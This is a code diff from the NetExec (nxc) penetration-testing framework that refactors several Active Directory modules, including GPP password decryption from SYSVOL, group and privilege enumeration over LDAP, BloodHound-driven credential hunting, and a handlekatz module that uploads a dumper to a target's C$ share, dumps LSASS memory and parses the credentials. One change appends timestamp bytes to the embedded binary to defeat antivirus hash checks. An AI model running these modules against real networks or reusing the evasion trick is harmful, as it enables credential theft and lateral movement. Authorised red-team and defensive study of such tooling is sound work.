@@ -1,8 +1,6 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from datetime import datetime
 from nxc.helpers.logger import write_log
+from nxc.paths import NXC_PATH
 import json
 
 
@@ -16,18 +14,13 @@ class NXCModule:
     name = "get_netconnections"
     description = "Uses WMI to query network connections."
     supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
-        """
-        No options
-        """
-        pass
+        """No options available"""
 
     def on_admin_login(self, context, connection):
         data = []
-        cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
+        cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
         if cards:
             for c in cards:
                 if c["IPAddress"].get("value"):
@@ -35,6 +28,6 @@ class NXCModule:
 
             data.append(cards)
 
-        log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
+        log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
         write_log(json.dumps(data), log_name)
-        context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+        context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/gpp_autologin.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import xml.etree.ElementTree as ET
 from io import BytesIO
 
@@ -14,8 +11,6 @@ class NXCModule:
     name = "gpp_autologin"
     description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
         """ """
@@ -30,7 +25,7 @@ class NXCModule:
                 paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
 
                 for path in paths:
-                    context.log.display("Found {}".format(path))
+                    context.log.display(f"Found {path}")
 
                     buf = BytesIO()
                     connection.conn.getFile("SYSVOL", path, buf.write)
@@ -56,7 +51,7 @@ class NXCModule:
                                 domains.append(attrs["value"])
 
                         if usernames or passwords:
-                            context.log.success("Found credentials in {}".format(path))
-                            context.log.highlight("Usernames: {}".format(usernames))
-                            context.log.highlight("Domains: {}".format(domains))
-                            context.log.highlight("Passwords: {}".format(passwords))
+                            context.log.success(f"Found credentials in {path}")
+                            context.log.highlight(f"Usernames: {usernames}")
+                            context.log.highlight(f"Domains: {domains}")
+                            context.log.highlight(f"Passwords: {passwords}")

nxc/modules/gpp_password.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import xml.etree.ElementTree as ET
 from Cryptodome.Cipher import AES
 from base64 import b64decode
@@ -17,8 +14,6 @@ class NXCModule:
     name = "gpp_password"
     description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
         """ """
@@ -43,7 +38,7 @@ class NXCModule:
                 )
 
                 for path in paths:
-                    context.log.display("Found {}".format(path))
+                    context.log.display(f"Found {path}")
 
                     buf = BytesIO()
                     connection.conn.getFile("SYSVOL", path, buf.write)
@@ -57,10 +52,7 @@ class NXCModule:
                         sections.append("./NTService/Properties")
 
                     elif "ScheduledTasks.xml" in path:
-                        sections.append("./Task/Properties")
-                        sections.append("./ImmediateTask/Properties")
-                        sections.append("./ImmediateTaskV2/Properties")
-                        sections.append("./TaskV2/Properties")
+                        sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
 
                     elif "DataSources.xml" in path:
                         sections.append("./DataSource/Properties")
@@ -88,11 +80,11 @@ class NXCModule:
 
                                 password = self.decrypt_cpassword(props["cpassword"])
 
-                                context.log.success("Found credentials in {}".format(path))
-                                context.log.highlight("Password: {}".format(password))
+                                context.log.success(f"Found credentials in {path}")
+                                context.log.highlight(f"Password: {password}")
                                 for k, v in props.items():
                                     if k != "cpassword":
-                                        context.log.highlight("{}: {}".format(k, v))
+                                        context.log.highlight(f"{k}: {v}")
 
                                 hostid = context.db.get_hosts(connection.host)[0][0]
                                 context.db.add_credential(

nxc/modules/gpp_privileges.py

@@ -0,0 +1,257 @@
+import ssl
+import ldap3
+import re
+from io import BytesIO
+
+
+class NXCModule:
+    """
+    Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
+    and resolving SIDs using LDAP.
+    """
+
+    name = "gpp_privileges"
+    description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
+    supported_protocols = ["smb"]
+
+    WELL_KNOWN_SIDS = {
+        "S-1-0": "Null Authority",
+        "S-1-0-0": "Nobody",
+        "S-1-1": "World Authority",
+        "S-1-1-0": "Everyone",
+        "S-1-2": "Local Authority",
+        "S-1-2-0": "Local",
+        "S-1-2-1": "Console Logon",
+        "S-1-3": "Creator Authority",
+        "S-1-3-0": "Creator Owner",
+        "S-1-3-1": "Creator Group",
+        "S-1-3-2": "Creator Owner Server",
+        "S-1-3-3": "Creator Group Server",
+        "S-1-3-4": "Owner Rights",
+        "S-1-5-80-0": "All Services",
+        "S-1-4": "Non-unique Authority",
+        "S-1-5": "NT Authority",
+        "S-1-5-1": "Dialup",
+        "S-1-5-2": "Network",
+        "S-1-5-3": "Batch",
+        "S-1-5-4": "Interactive",
+        "S-1-5-6": "Service",
+        "S-1-5-7": "Anonymous",
+        "S-1-5-8": "Proxy",
+        "S-1-5-9": "Enterprise Domain Controllers",
+        "S-1-5-10": "Principal Self",
+        "S-1-5-11": "Authenticated Users",
+        "S-1-5-12": "Restricted Code",
+        "S-1-5-13": "Terminal Server Users",
+        "S-1-5-14": "Remote Interactive Logon",
+        "S-1-5-15": "This Organization",
+        "S-1-5-17": "This Organization",
+        "S-1-5-18": "Local System",
+        "S-1-5-19": "NT Authority",
+        "S-1-5-20": "NT Authority",
+        "S-1-5-32-544": "Administrators",
+        "S-1-5-32-545": "Users",
+        "S-1-5-32-546": "Guests",
+        "S-1-5-32-547": "Power Users",
+        "S-1-5-32-548": "Account Operators",
+        "S-1-5-32-549": "Server Operators",
+        "S-1-5-32-550": "Print Operators",
+        "S-1-5-32-551": "Backup Operators",
+        "S-1-5-32-552": "Replicators",
+        "S-1-5-64-10": "NTLM Authentication",
+        "S-1-5-64-14": "SChannel Authentication",
+        "S-1-5-64-21": "Digest Authority",
+        "S-1-5-80": "NT Service",
+        "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
+        "S-1-16-0": "Untrusted Mandatory Level",
+        "S-1-16-4096": "Low Mandatory Level",
+        "S-1-16-8192": "Medium Mandatory Level",
+        "S-1-16-8448": "Medium Plus Mandatory Level",
+        "S-1-16-12288": "High Mandatory Level",
+        "S-1-16-16384": "System Mandatory Level",
+        "S-1-16-20480": "Protected Process Mandatory Level",
+        "S-1-16-28672": "Secure Process Mandatory Level",
+        "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+        "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+        "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
+        "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
+        "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+        "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+        "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+        "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+        "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+        "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+        "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+        "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+        "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+        "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+        "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+        "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+        "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+        "S-1-5-32-580": "BUILTIN\\Remote Management Users",
+    }
+
+    def options(self, context, module_options):
+        """NO_LDAP      If set to True, disables LDAP queries for resolving SIDs."""
+        self.no_ldap = module_options.get("NO_LDAP", False)
+
+    def on_login(self, context, connection):
+        try:
+            connection.conn.listPath("SYSVOL", "*")
+        except Exception as e:
+            context.log.fail(f"Failed to list shares: {e}")
+            return
+
+        context.log.display("Searching for GptTmpl.inf files")
+        paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
+
+        if not paths:
+            context.log.warning("No GptTmpl.inf files found in SYSVOL.")
+            return
+
+        for path in paths:
+            if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path:  # Default Domain Policy
+                context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
+            else:
+                context.log.info(f"Found GptTmpl.inf: {path}")
+
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+
+            try:
+                content = buf.getvalue().decode("utf-16le")
+            except UnicodeDecodeError as e:
+                context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
+                continue
+
+            privileges = self.extract_privileges(content)
+            if privileges:
+                ldap_connection = None
+                if not self.no_ldap:
+                    ldap_connection = self.initialize_ldap_connection(context, connection)
+
+                context.log.success(f"Privileges extracted from {path}:")
+                for privilege, sids in privileges.items():
+                    resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
+                    context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
+
+                if ldap_connection:
+                    ldap_connection.unbind()
+
+    def extract_privileges(self, content):
+        """Parses the content of GptTmpl.inf to extract privilege rights."""
+        privileges = {}
+        in_priv_section = False
+
+        for line in content.splitlines():
+            if line.strip() == "[Privilege Rights]":
+                in_priv_section = True
+                continue
+            if in_priv_section and line.strip() == "":
+                break
+            if in_priv_section:
+                match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
+                if match:
+                    privilege, sids = match.groups()
+                    privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
+
+        return privileges
+
+    def initialize_ldap_connection(self, context, connection):
+        """
+        Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
+        Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
+        """
+        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
+        base_dn = None
+
+        try:
+            ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
+            ldap_connection = ldap3.Connection(
+                ldap_server,
+                user=f"{connection.domain}\\{connection.username}",
+                password=connection.password,
+                authentication=ldap3.NTLM,
+                raise_exceptions=True,
+            )
+            ldap_connection.bind()
+            context.log.success("Connected to LDAP over SSL (LDAPS).")
+
+            try:
+                base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
+            except Exception as e:
+                context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
+
+            if not base_dn:
+                domain_parts = connection.domain.split(".")
+                base_dn = ",".join([f"dc={part}" for part in domain_parts])
+                context.log.info(f"Derived base DN: {base_dn}")
+
+            ldap_connection.base_dn = base_dn
+            return ldap_connection
+
+        except Exception as ldaps_error:
+            context.log.warning(f"LDAPS connection failed: {ldaps_error}")
+            context.log.info("Falling back to plain LDAP...")
+
+        try:
+            ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
+            ldap_connection = ldap3.Connection(
+                ldap_server,
+                user=f"{connection.domain}\\{connection.username}",
+                password=connection.password,
+                authentication=ldap3.NTLM,
+                raise_exceptions=True,
+            )
+            ldap_connection.bind()
+            context.log.info("Connected to LDAP successfully (plaintext).")
+
+            try:
+                base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
+            except Exception as e:
+                context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
+
+            if not base_dn:
+                domain_parts = connection.domain.split(".")
+                base_dn = ",".join([f"dc={part}" for part in domain_parts])
+                context.log.info(f"Derived base DN: {base_dn}")
+
+            ldap_connection.base_dn = base_dn
+            return ldap_connection
+
+        except Exception as ldap_error:
+            context.log.error(f"Failed to connect to LDAP: {ldap_error}")
+
+        return None
+
+    def resolve_sid(self, context, sid, ldap_connection):
+        """Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
+        if sid in self.WELL_KNOWN_SIDS:
+            return self.WELL_KNOWN_SIDS[sid]
+
+        if ldap_connection and ldap_connection.bound:
+            try:
+                base_dn = getattr(ldap_connection, "base_dn", None)
+                if not base_dn:
+                    context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
+                    return sid
+
+                search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
+                ldap_connection.search(
+                    search_base=base_dn,
+                    search_filter=search_filter,
+                    attributes=["sAMAccountName"],
+                )
+
+                if ldap_connection.entries:
+                    entry = ldap_connection.entries[0]
+                    return f"{entry['sAMAccountName']}"
+                else:
+                    context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
+
+            except Exception as e:
+                context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
+        else:
+            context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
+
+        return sid

nxc/modules/group-mem.py

@@ -0,0 +1,95 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+import sys
+
+
+class NXCModule:
+    """
+    Module by CyberCelt: @Cyb3rC3lt
+
+    Initial module:
+      https://github.com/Cyb3rC3lt/CrackMapExec-Modules
+    """
+
+    name = "group-mem"
+    description = "[REMOVED] Retrieves all the members within a Group"
+    supported_protocols = ["ldap"]
+
+    primaryGroupID = ""
+    answers = []
+
+    def options(self, context, module_options):
+        r"""
+        [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
+
+        group-mem: Specify group-mem to call the module
+        GROUP: Specify the GROUP option to query for that group's members
+        Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
+               nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
+        """
+        self.GROUP = ""
+
+        if "GROUP" in module_options:
+            self.GROUP = module_options["GROUP"]
+        else:
+            context.log.error("GROUP option is required!")
+            sys.exit(1)
+
+    def on_login(self, context, connection):
+        self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
+        return None
+
+        # First look up the SID of the group passed in
+        search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
+        attribute = "objectSid"
+
+        search_result = do_search(self, context, connection, search_filter, attribute)
+        # If no SID for the Group is returned exit the program
+        if search_result is None:
+            context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
+            return True
+
+        # Convert the binary SID to a primaryGroupID string to be used further
+        sid_string = connection.sid_to_str(search_result).split("-")
+        self.primaryGroupID = sid_string[-1]
+
+        # Look up the groups DN
+        search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
+        attribute = "distinguishedName"
+        distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8")
+
+        # Carry out the search
+        search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))"
+        attribute = "sAMAccountName"
+        search_result = do_search(self, context, connection, search_filter, attribute)
+
+        if len(self.answers) > 0:
+            context.log.success("Found the following members of the " + self.GROUP + " group:")
+            for answer in self.answers:
+                context.log.highlight(f"{answer[0]}")
+
+
+# Carry out an LDAP search for the Group with the supplied Group name
+def do_search(self, context, connection, searchFilter, attributeName):
+    try:
+        context.log.debug(f"Search Filter={searchFilter}")
+        resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
+        context.log.debug(f"Total number of records returned {len(resp)}")
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            attribute_value = ""
+            try:
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == attributeName:
+                        if attributeName in ["objectSid", "distinguishedName"]:
+                            return bytes(attribute["vals"][0])
+                        else:
+                            attribute_value = str(attribute["vals"][0])
+                    if attribute_value is not None:
+                        self.answers.append([attribute_value])
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e}")
+    except Exception as e:
+        context.log.debug(f"Exception: {e}")
+        return False

nxc/modules/group_members.py

@@ -1,100 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
-
-class NXCModule:
-    '''
-      Module by CyberCelt: @Cyb3rC3lt
-
-      Initial module:
-        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
-    '''
-
-    name = 'group-mem'
-    description = 'Retrieves all the members within a Group'
-    supported_protocols = ['ldap']
-    opsec_safe = True
-    multiple_hosts = False
-    primaryGroupID = ''
-    answers = []
-
-    def options(self, context, module_options):
-        '''
-        group-mem: Specify group-mem to call the module
-        GROUP: Specify the GROUP option to query for that group's members
-        Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
-               nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
-        '''
-
-        self.GROUP = ''
-
-        if 'GROUP' in module_options:
-            self.GROUP = module_options['GROUP']
-        else:
-            context.log.error('GROUP option is required!')
-            exit(1)
-
-    def on_login(self, context, connection):
-
-        #First look up the SID of the group passed in
-        searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
-        attribute = "objectSid"
-
-        searchResult = doSearch(self, context, connection, searchFilter, attribute)
-        #If no SID for the Group is returned exit the program
-        if searchResult is None:
-            context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
-            return True
-
-        # Convert the binary SID to a primaryGroupID string to be used further
-        sidString = connection.sid_to_str(searchResult).split("-")
-        self.primaryGroupID = sidString[-1]
-
-        #Look up the groups DN
-        searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
-        attribute = "distinguishedName"
-        distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
-
-        # Carry out the search
-        searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
-        attribute = "sAMAccountName"
-        searchResult = doSearch(self, context, connection, searchFilter, attribute)
-
-        if len(self.answers) > 0:
-            context.log.success('Found the following members of the ' + self.GROUP + ' group:')
-            for answer in self.answers:
-                context.log.highlight(u'{}'.format(answer[0]))
-
-# Carry out an LDAP search for the Group with the supplied Group name
-def doSearch(self,context, connection,searchFilter,attributeName):
-    try:
-        context.log.debug('Search Filter=%s' % searchFilter)
-        resp = connection.ldapConnection.search(searchFilter=searchFilter,
-                                                attributes=[attributeName],
-                                                sizeLimit=0)
-        context.log.debug('Total no. of records returned %d' % len(resp))
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            attributeValue = '';
-            try:
-                for attribute in item['attributes']:
-                    if str(attribute['type']) == attributeName:
-                        if attributeName == "objectSid":
-                             attributeValue = bytes(attribute['vals'][0])
-                             return attributeValue;
-                        elif attributeName == "distinguishedName":
-                             attributeValue = bytes(attribute['vals'][0])
-                             return attributeValue;
-                        else:
-                             attributeValue = str(attribute['vals'][0])
-                    if attributeValue is not None:
-                        self.answers.append([attributeValue])
-            except Exception as e:
-                context.log.debug("Exception:", exc_info=True)
-                context.log.debug('Skipping item, cannot process due to error %s' % str(e))
-                pass
-    except Exception as e:
-        context.log.debug("Exception:", e)
-        return False

nxc/modules/groupmembership.py

@@ -1,8 +1,6 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
+import sys
 
 
 class NXCModule:
@@ -17,32 +15,27 @@ class NXCModule:
     name = "groupmembership"
     description = "Query the groups to which a user belongs."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
-        """
-        USER	Choose a username to query group membership
-        """
-
+        """USER	Choose a username to query group membership"""
         self.user = ""
         if "USER" in module_options:
             if module_options["USER"] == "":
                 context.log.fail("Invalid value for USER option!")
-                exit(1)
+                sys.exit(1)
             self.user = module_options["USER"]
         else:
             context.log.fail("Missing USER option, use --options to list available parameters")
-            exit(1)
+            sys.exit(1)
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
         # Building the search filter
-        searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
+        searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
 
         try:
-            context.log.debug("Search Filter=%s" % searchFilter)
-            resp = connection.ldapConnection.search(
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
                 searchFilter=searchFilter,
                 attributes=["memberOf", "primaryGroupID"],
                 sizeLimit=0,
@@ -53,7 +46,6 @@ class NXCModule:
                 # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                 # paged queries
                 resp = e.getAnswers()
-                pass
             else:
                 context.log.debug(e)
                 return False
@@ -61,7 +53,7 @@ class NXCModule:
         memberOf = []
         primaryGroupID = ""
 
-        context.log.debug("Total of records returned %d" % len(resp))
+        context.log.debug(f"Total of records returned {len(resp)}")
         for item in resp:
             if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
                 continue
@@ -75,16 +67,12 @@ class NXCModule:
                         if str(primaryGroupID) == "513":
                             memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
                     elif str(attribute["type"]) == "memberOf":
-                        for group in attribute["vals"]:
-                            if isinstance(group._value, bytes):
-                                memberOf.append(str(group))
-
+                        memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)]
             except Exception as e:
                 context.log.debug("Exception:", exc_info=True)
-                context.log.debug("Skipping item, cannot process due to error %s" % str(e))
-                pass
+                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
         if len(memberOf) > 0:
-            context.log.success("User: {} is member of following groups: ".format(self.user))
+            context.log.success(f"User: {self.user} is member of following groups: ")
             for group in memberOf:
                 # Split the string on the "," character to get a list of the group name and parent group names
                 group_parts = group.split(",")
@@ -93,5 +81,4 @@ class NXCModule:
                 # and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN")
                 group_name = group_parts[0].split("=")[1]
 
-                # print("Group name: %s" % group_name)
-                context.log.highlight("{}".format(group_name))
+                context.log.highlight(f"{group_name}")

nxc/modules/handlekatz.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 # handlekatz module for nxc python3
 # author of the module : github.com/mpgn
 # HandleKatz: https://github.com/codewhitesec/HandleKatz
@@ -8,25 +5,23 @@
 import base64
 import re
 import sys
-
+from datetime import datetime
 from nxc.helpers.bloodhound import add_user_bh
+from pypykatz.pypykatz import pypykatz
 
 
 class NXCModule:
     name = "handlekatz"
     description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
     supported_protocols = ["smb"]
-    opsec_safe = False
-    multiple_hosts = True
 
     def options(self, context, module_options):
-        """
+        r"""
         TMP_DIR             Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
         HANDLEKATZ_PATH       Path where handlekatz.exe is on your system (default: /tmp/)
         HANDLEKATZ_EXE_NAME   Name of the handlekatz executable (default: handlekatz.exe)
         DIR_RESULT          Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
         """
-
         self.tmp_dir = "C:\\Windows\\Temp\\"
         self.share = "C$"
         self.tmp_share = self.tmp_dir.split(":")[1]
@@ -37,6 +32,8 @@ class NXCModule:
         self.handlekatz_path = "/tmp/"
         self.dir_result = self.handlekatz_path
         self.useembeded = True
+        # Add some random binary data to defeat AVs which check the file hash
+        self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
 
         if "HANDLEKATZ_PATH" in module_options:
             self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -52,12 +49,19 @@ class NXCModule:
             self.dir_result = module_options["DIR_RESULT"]
 
     def on_admin_login(self, context, connection):
+        handlekatz_loc = self.handlekatz_path + self.handlekatz
+
         if self.useembeded:
-            with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
-                handlekatz.write(self.handlekatz_embeded)
+            try:
+                with open(handlekatz_loc, "wb") as handlekatz:
+                    handlekatz.write(self.handlekatz_embeded)
+            except FileNotFoundError:
+                context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
+                sys.exit(1)
 
         context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
-        with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
+
+        with open(handlekatz_loc, "rb") as handlekatz:
             try:
                 connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
                 context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
@@ -73,7 +77,8 @@ class NXCModule:
             p = p[0]
 
         if not p or p == "None":
-            context.log.fail(f"Failed to execute command to get LSASS PID")
+            context.log.fail("Failed to execute command to get LSASS PID")
+            self.delete_handlekatz_binary(connection, context)
             return
         # we get a CSV string back from `tasklist`, so we grab the PID from it
         pid = p.split(",")[1][1:-1]
@@ -92,12 +97,15 @@ class NXCModule:
             context.log.fail("Process lsass.exe error un dump, try with verbose")
             dump = False
 
-        if dump:
+        if not dump:
+            self.delete_handlekatz_binary(connection, context)
+            return
+        else:
             regex = r"([A-Za-z0-9-]*\.log)"
             matches = re.search(regex, str(p), re.MULTILINE)
             if not matches:
                 context.log.display("Error getting the lsass.dmp file name")
-                sys.exit(1)
+                return
 
             machine_name = matches.group()
             context.log.display(f"Copy {machine_name} to host")
@@ -109,29 +117,24 @@ class NXCModule:
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
-            try:
-                connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
-                context.log.success(f"Deleted handlekatz file on the {self.share} share")
-            except Exception as e:
-                context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
-
+            self.delete_handlekatz_binary()
             try:
                 connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
                 context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
             except Exception as e:
                 context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
 
-            h_in = open(self.dir_result + machine_name, "rb")
-            h_out = open(self.dir_result + machine_name + ".decode", "wb")
+            h_in = open(self.dir_result + machine_name, "rb")  # noqa: SIM115
+            h_out = open(self.dir_result + machine_name + ".decode", "wb")  # noqa: SIM115
 
             bytes_in = bytearray(h_in.read())
             bytes_in_len = len(bytes_in)
 
             context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
 
-            chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
+            chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
             for chunk in chunks:
-                for i in range(0, len(chunk)):
+                for i in range(len(chunk)):
                     chunk[i] ^= 0x41
 
                 h_out.write(bytes(chunk))
@@ -177,4 +180,11 @@ class NXCModule:
                     if len(credz_bh) > 0:
                         add_user_bh(credz_bh, None, context.log, connection.config)
                 except Exception as e:
-                    context.log.fail("Error opening dump file", str(e))
+                    context.log.fail(f"Error opening dump file: {e}")
+
+    def delete_handlekatz_binary(self, connection, context):
+        try:
+            connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
+            context.log.success(f"Deleted handlekatz file on the {self.share} share")
+        except Exception as e:
+            context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")

nxc/modules/hash_spider.py

@@ -1,5 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 # Author: Peter Gormington (@hackerm00n on Twitter)
 import logging
 from sqlite3 import connect
@@ -12,7 +10,6 @@ from lsassy.session import Session
 from lsassy.impacketfile import ImpacketFile
 
 credentials_data = []
-admin_results = []
 found_users = []
 reported_da = []
 
@@ -24,9 +21,9 @@ def neo4j_conn(context, connection, driver):
             session = driver.session()
             list(session.run("MATCH (g:Group) return g LIMIT 1"))
             context.log.display("Connection Successful!")
-        except AuthError as e:
+        except AuthError:
             context.log.fail("Invalid credentials")
-        except ServiceUnavailable as e:
+        except ServiceUnavailable:
             context.log.fail("Could not connect to neo4j database")
         except Exception as e:
             context.log.fail("Error querying domain admins")
@@ -37,15 +34,14 @@ def neo4j_conn(context, connection, driver):
 
 
 def neo4j_local_admins(context, driver):
-    global admin_results
     try:
         session = driver.session()
         admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC")  # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
-        context.log.success("Admins and PCs obtained.")
-    except Exception:
-        context.log.fail("Could not pull admins")
-        exit()
-    admin_results = [record for record in admins.data()]
+        context.log.success("Admins and PCs obtained")
+    except Exception as e:
+        context.log.fail(f"Could not pull admins: {e}")
+        return None
+    return list(admins.data())
 
 
